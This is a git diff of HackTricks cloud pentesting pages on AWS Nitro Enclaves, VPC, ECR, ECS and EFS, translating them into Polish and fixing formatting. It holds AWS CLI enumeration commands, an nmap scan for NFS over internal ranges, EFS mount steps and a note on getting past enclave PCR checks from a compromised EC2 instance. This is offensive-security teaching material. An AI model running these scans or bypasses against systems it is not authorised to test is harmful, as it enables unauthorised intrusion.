**cyfrowo podpisanego dokumentu atestacyjnego** od Nitro **Hypervisora**, który zawiera **unikalne pomiary** specyficzne dla tej enclave. Te pomiary, które obejmują **hashe i rejestry konfiguracji platformy (PCR)**, są używane podczas procesu atestacji do **udowodnienia tożsamości enclave** i **budowania zaufania z zewnętrznymi usługami**. Dokument atestacyjny zazwyczaj zawiera wartości takie jak PCR0, PCR1 i PCR2, które spotkałeś wcześniej podczas budowania i zapisywania pliku EIF enclave. -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +Z [**dokumentacji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), oto wartości PCR: -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +
PCRHash of ...Opis
PCR0Plik obrazu enclaveCiagły pomiar zawartości pliku obrazu, bez danych sekcji.
PCR1Jądro Linux i bootstrapCiagły pomiar danych jądra i boot ramfs.
PCR2AplikacjaCiagły, uporządkowany pomiar aplikacji użytkownika, bez boot ramfs.
PCR3Rola IAM przypisana do instancji nadrzędnejCiagły pomiar roli IAM przypisanej do instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma poprawną rolę IAM.
PCR4ID instancji nadrzędnejCiagły pomiar ID instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma określone ID instancji.
PCR8Certyfikat podpisu pliku obrazu enclavePomiar certyfikatu podpisu określonego dla pliku obrazu enclave. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy enclave została uruchomiona z pliku obrazu enclave podpisanego przez określony certyfikat.
-
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
- -You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +Możesz zintegrować **cyfrową atestację** w swoich aplikacjach i wykorzystać gotowe integracje z usługami takimi jak **AWS KMS**. AWS KMS może **walidować atestacje enclave** i oferuje klucze warunkowe oparte na atestacji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) w swoich politykach kluczy. Polityki te zapewniają, że AWS KMS zezwala na operacje z użyciem klucza KMS **tylko wtedy, gdy dokument atestacyjny enclave jest ważny** i spełnia **określone warunki**. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Zauważ, że Enclaves w trybie debug (--debug) generują dokumenty atestacyjne z PCR, które składają się z zer (`000000000000000000000000000000000000000000000000`). Dlatego polityki KMS sprawdzające te wartości będą nieudane. -### PCR Bypass +### Ominięcie PCR -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +Z perspektywy atakującego, zauważ, że niektóre PCR pozwoliłyby na modyfikację niektórych części lub całego obrazu enclave i nadal byłyby ważne (na przykład PCR4 sprawdza tylko ID instancji nadrzędnej, więc uruchomienie dowolnego obrazu enclave w tej EC2 pozwoli na spełnienie tego potencjalnego wymogu PCR). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Dlatego atakujący, który skompromituje instancję EC2, może być w stanie uruchomić inne obrazy enclave w celu ominięcia tych zabezpieczeń. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +Badania nad tym, jak modyfikować/tworzyć nowe obrazy, aby obejść każde zabezpieczenie (szczególnie te nie tak oczywiste) są nadal w planach. -## References +## Referencje - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- Wszystkie części samouczka Nitro od AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..bbe274bcd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -10,16 +10,16 @@ This VPC network is divided in **subnetworks**, so a **subnetwork** is directly Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to the **whole network**. Moreover, in order to **access Internet**, there are some interesting configurations to check: - A **subnetwork** can **auto-assign public IPv4 addresses** - An **instance** created in the network that **auto-assign IPv4 addresses can get one** - An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** +- You could also use **Egress-only internet gateways** - You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) ![](<../../../../images/image (274).png>) @@ -33,7 +33,7 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi - Valid CIDR are from a /16 netmask to a /28 netmask. - A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. +- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: the first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. - It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
@@ -47,7 +47,7 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter - Local VPC - NAT - Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. +- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. - VPC endpoints (to access S3 from private networks) In the following images you can check the differences in a default public network and a private one: @@ -80,7 +80,7 @@ By default, all subnets have the **automatic assigned of public IP addresses tur **A local route within a route table enables communication between VPC subnets.** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +If you are **connecting a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. ### VPC Peering @@ -113,34 +113,34 @@ For every network interface that publishes data to the CloudWatch log group, it ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. +- It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. +- You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. +- It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. +- It is attached to your VPC and serves as the target for your VPN connection. +- VPG is the AWS side endpoint for the VPN connection. +- It handles the secure communication between your VPC and your on-premises network. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. +- This type of connection requires a Customer Gateway and a Virtual Private Gateway. +- It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. +- Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. +- It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. +- It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. +- With Client VPN, each client device uses a VPN client software to establish a secure connection. ### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**Connect your on-premises network with your VPC.** - **VPN connection**: A secure connection between your on-premises equipment and your VPCs. - **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. - **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. - **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. @@ -186,14 +186,10 @@ In addition, take the following into consideration when you use Site-to-Site VPN - Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. - If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` - The self-service portal is **not available for clients that authenticate using mutual authentication**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..402c9d610 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### Podstawowe informacje -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) to **zarządzana usługa rejestru obrazów kontenerów**. Została zaprojektowana, aby zapewnić środowisko, w którym klienci mogą interagować ze swoimi obrazami kontenerów za pomocą znanych interfejsów. W szczególności wspierane jest użycie Docker CLI lub dowolnego preferowanego klienta, co umożliwia takie działania jak przesyłanie, pobieranie i zarządzanie obrazami kontenerów. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR składa się z 2 typów obiektów: **Rejestrów** i **Repozytoriów**. -**Registries** +**Rejestry** -Every AWS account has 2 registries: **Private** & **Public**. +Każde konto AWS ma 2 rejestry: **Prywatne** i **Publiczne**. -1. **Private Registries**: +1. **Prywatne rejestry**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Prywatne domyślnie**: Obrazy kontenerów przechowywane w prywatnym rejestrze Amazon ECR są **dostępne tylko dla autoryzowanych użytkowników** w Twoim koncie AWS lub dla tych, którym przyznano uprawnienia. +- URI **prywatnego repozytorium** ma format `.dkr.ecr..amazonaws.com/` +- **Kontrola dostępu**: Możesz **kontrolować dostęp** do swoich prywatnych obrazów kontenerów za pomocą **polityk IAM**, a także skonfigurować szczegółowe uprawnienia w oparciu o użytkowników lub role. +- **Integracja z usługami AWS**: Prywatne rejestry Amazon ECR mogą być łatwo **integrowane z innymi usługami AWS**, takimi jak EKS, ECS... +- **Inne opcje prywatnych rejestrów**: +- Kolumna immutability tagu wskazuje jego status, jeśli immutability tagu jest włączone, **zapobiegnie** to **przesyłaniu** obrazów z **istniejącymi tagami**, które mogłyby nadpisać obrazy. +- Kolumna **Typ szyfrowania** wymienia właściwości szyfrowania repozytorium, pokazuje domyślne typy szyfrowania, takie jak AES-256, lub ma włączone szyfrowania **KMS**. +- Kolumna **Pull through cache** wskazuje jej status, jeśli status Pull through cache jest aktywny, będzie buforować **repozytoria w zewnętrznym publicznym repozytorium do Twojego prywatnego repozytorium**. +- Specyficzne **polityki IAM** mogą być skonfigurowane w celu przyznania różnych **uprawnień**. +- **Konfiguracja skanowania** pozwala na skanowanie pod kątem luk w zabezpieczeniach w obrazach przechowywanych w repozytorium. -2. **Public Registries**: +2. **Publiczne rejestry**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Publiczny dostęp**: Obrazy kontenerów przechowywane w publicznym rejestrze ECR są **dostępne dla każdego w internecie bez uwierzytelnienia.** +- URI **publicznego repozytorium** jest jak `public.ecr.aws//`. Chociaż część `` może być zmieniona przez administratora na inny łatwiejszy do zapamiętania ciąg. -**Repositories** +**Repozytoria** -These are the **images** that in the **private registry** or to the **public** one. +To są **obrazy**, które znajdują się w **prywatnym rejestrze** lub w **publicznym**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Zauważ, że aby przesłać obraz do repozytorium, **repozytorium ECR musi mieć tę samą nazwę co obraz**. -#### Registry & Repository Policies +#### Polityki rejestru i repozytoriów -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Rejestry i repozytoria** mają również **polityki, które mogą być używane do przyznawania uprawnień innym podmiotom/kontom**. Na przykład, w poniższej polityce repozytorium możesz zobaczyć, jak każdy użytkownik z całej organizacji będzie mógł uzyskać dostęp do obrazu:
-#### Enumeration - +#### Enumeracja ```bash # Get repos aws ecr describe-repositories @@ -68,7 +67,6 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - #### Unauthenticated Enum {{#ref}} @@ -77,7 +75,7 @@ aws ecr get-repository-policy --repository-name #### Privesc -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień ECR, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md @@ -100,7 +98,3 @@ In the following page you can check how to **abuse ECR permissions to escalate p - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..c16f62c5c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### Podstawowe informacje -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** lub ECS zapewnia platformę do **hostowania aplikacji kontenerowych w chmurze**. ECS ma dwie **metody wdrożenia**, typ instancji **EC2** oraz opcję **bezserwerową**, **Fargate**. Usługa **umożliwia łatwe i bezproblemowe uruchamianie kontenerów w chmurze**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS działa na podstawie trzech podstawowych elementów: **Klasterów**, **Usług** i **Definicji zadań**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Klastery** to **grupy kontenerów**, które działają w chmurze. Jak wcześniej wspomniano, istnieją dwa typy uruchamiania kontenerów, EC2 i Fargate. AWS definiuje typ uruchamiania **EC2** jako umożliwiający klientom „uruchamianie \[ich\] aplikacji kontenerowych na klastrze instancji Amazon EC2, które \[oni\] **zarządzają**”. **Fargate** jest podobny i definiowany jest jako „\[umożliwiający\] uruchamianie aplikacji kontenerowych **bez potrzeby provisionowania i zarządzania** infrastrukturą zaplecza”. +- **Usługi** są tworzone wewnątrz klastra i odpowiedzialne za **uruchamianie zadań**. W definicji usługi **definiujesz liczbę zadań do uruchomienia, automatyczne skalowanie, dostawcę pojemności (Fargate/EC2/Zewnętrzny),** **informacje o sieci**, takie jak VPC, podsieci i grupy zabezpieczeń. +- Istnieją **2 typy aplikacji**: +- **Usługa**: Grupa zadań obsługujących długoterminową pracę obliczeniową, którą można zatrzymać i wznowić. Na przykład aplikacja internetowa. +- **Zadanie**: Samodzielne zadanie, które działa i kończy się. Na przykład zadanie wsadowe. +- Wśród aplikacji usługowych istnieją **2 typy harmonogramów usług**: +- [**REPLIKA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategia harmonogramowania replik umieszcza i **utrzymuje pożądaną liczbę** zadań w całym klastrze. Jeśli z jakiegoś powodu zadanie zostanie zamknięte, nowe jest uruchamiane na tym samym lub innym węźle. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Uruchamia dokładnie jedno zadanie na każdej aktywnej instancji kontenera, która ma wymagane wymagania. Nie ma potrzeby określania pożądanej liczby zadań, strategii umieszczania zadań ani korzystania z polityk automatycznego skalowania usług. +- **Definicje zadań** są odpowiedzialne za **definiowanie, jakie kontenery będą uruchamiane** oraz różne parametry, które będą konfigurowane z kontenerami, takie jak **mapowania portów** z hostem, **zmienne środowiskowe**, Docker **entrypoint**... +- Sprawdź **zmienne środowiskowe pod kątem wrażliwych informacji**! -### Sensitive Data In Task Definitions +### Wrażliwe dane w definicjach zadań -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Definicje zadań są odpowiedzialne za **konfigurowanie rzeczywistych kontenerów, które będą działać w ECS**. Ponieważ definicje zadań definiują, jak będą działały kontenery, można znaleźć w nich wiele informacji. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +Pacu może enumerować ECS (list-clusters, list-container-instances, list-services, list-task-definitions), może również zrzucać definicje zadań. +### Enumeracja ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Podwyższenie uprawnień -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia ECS do podwyższenia uprawnień**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Utrzymywanie dostępu {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..1a060483d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### Podstawowe informacje -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) jest przedstawiany jako **w pełni zarządzany, skalowalny i elastyczny system plików w sieci** przez AWS. Usługa ułatwia tworzenie i konfigurowanie **systemów plików**, które mogą być jednocześnie dostępne przez wiele instancji EC2 i inne usługi AWS. Kluczowe cechy EFS obejmują jego zdolność do automatycznego skalowania bez interwencji ręcznej, zapewnianie dostępu o niskim opóźnieniu, wsparcie dla obciążeń o wysokiej przepustowości, gwarancję trwałości danych oraz bezproblemową integrację z różnymi mechanizmami bezpieczeństwa AWS. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +Domyślnie folder EFS do zamontowania będzie **`/`**, ale może mieć **inną nazwę**. -### Network Access +### Dostęp sieciowy -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +EFS jest tworzony w VPC i będzie **domyślnie dostępny we wszystkich podsieciach VPC**. Jednak EFS będzie miał Grupę Bezpieczeństwa. Aby **dać dostęp do EC2** (lub jakiejkolwiek innej usługi AWS) do zamontowania EFS, należy **zezwolić w grupie bezpieczeństwa EFS na regułę przychodzącą NFS** (port 2049) **z Grupy Bezpieczeństwa EC2**. -Without this, you **won't be able to contact the NFS service**. +Bez tego **nie będziesz w stanie skontaktować się z usługą NFS**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +Aby uzyskać więcej informacji na ten temat, sprawdź: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### Enumeracja ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. - -### Mount EFS +> Może się zdarzyć, że punkt montowania EFS znajduje się w tej samej VPC, ale w innej podsieci. Jeśli chcesz mieć pewność, że znajdziesz wszystkie **punkty EFS, lepiej zeskanować maskę sieciową `/16`**. +### Montowanie EFS ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +Domyślnie każdy, kto ma dostęp do sieci EFS, będzie mógł zamontować, **czytać i pisać, nawet jako użytkownik root**. Jednak polityki systemu plików mogą być wprowadzone, **pozwalając tylko podmiotom z określonymi uprawnieniami** na dostęp do niego.\ +Na przykład, ta polityka systemu plików **nie pozwoli nawet na zamontowanie** systemu plików, jeśli **nie masz uprawnienia IAM**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +Lub to **zapobiegnie dostępowi anonimowemu**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +Zauważ, że aby zamontować systemy plików chronione przez IAM, MUSISZ użyć typu "efs" w poleceniu montowania: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` - ### Access Points -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. +**Punkty dostępu** to **specyficzne dla aplikacji** punkty wejścia **do systemu plików EFS**, które ułatwiają zarządzanie dostępem aplikacji do współdzielonych zbiorów danych. -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +Kiedy tworzysz punkt dostępu, możesz **określić właściciela i uprawnienia POSIX** dla plików i katalogów tworzonych przez punkt dostępu. Możesz również **zdefiniować niestandardowy katalog główny** dla punktu dostępu, określając istniejący katalog lub tworząc nowy z pożądanymi 